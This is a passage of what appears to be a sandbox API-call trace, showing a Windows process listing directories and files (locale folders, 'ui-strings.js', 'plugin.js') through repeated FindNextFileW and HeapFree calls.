hFindFile=0x6eb8b0) returned 1 [0266.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.952] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0266.952] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0266.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0266.954] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0267.023] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.023] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0267.024] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0267.024] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0267.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.025] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0267.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.025] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0267.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.026] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0267.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.026] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0267.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.027] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0267.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.027] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0267.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.028] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0267.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.029] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0267.031] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.031] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0267.031] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.031] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0267.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.032] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0267.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.032] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0267.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.033] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0267.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.033] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0267.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.033] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0267.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.034] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0267.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.034] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0267.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.035] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0267.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.035] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0267.037] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.037] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0267.037] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.037] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0267.037] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.037] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0267.038] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.038] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0267.038] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.038] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0267.038] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.038] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0267.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.039] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0267.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.039] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0267.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.039] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.039] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0267.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.040] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0267.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.040] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0267.040] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0267.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.040] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0267.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.041] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0267.041] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0267.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.041] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, 